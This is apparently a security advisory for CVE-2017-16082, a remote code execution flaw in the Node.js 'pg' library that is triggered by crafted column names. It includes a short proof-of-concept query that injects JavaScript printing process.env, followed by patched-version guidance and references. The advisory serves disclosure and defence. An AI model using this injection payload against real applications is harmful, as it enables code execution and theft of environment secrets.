Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

1. The application executes unsafe, user-supplied sql which contains malicious column names.
2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.

Proof of Concept

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Recommendation

• Version 2.x.x: Update to version 2.11.2 or later.
• Version 3.x.x: Update to version 3.6.4 or later.
• Version 4.x.x: Update to version 4.5.7 or later.
• Version 5.x.x: Update to version 5.2.1 or later.
• Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
• Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )

References

• https://nvd.nist.gov/vuln/detail/CVE-2017-16082
• GHSA-wc9v-mj63-m9g5
• https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
• https://www.npmjs.com/advisories/521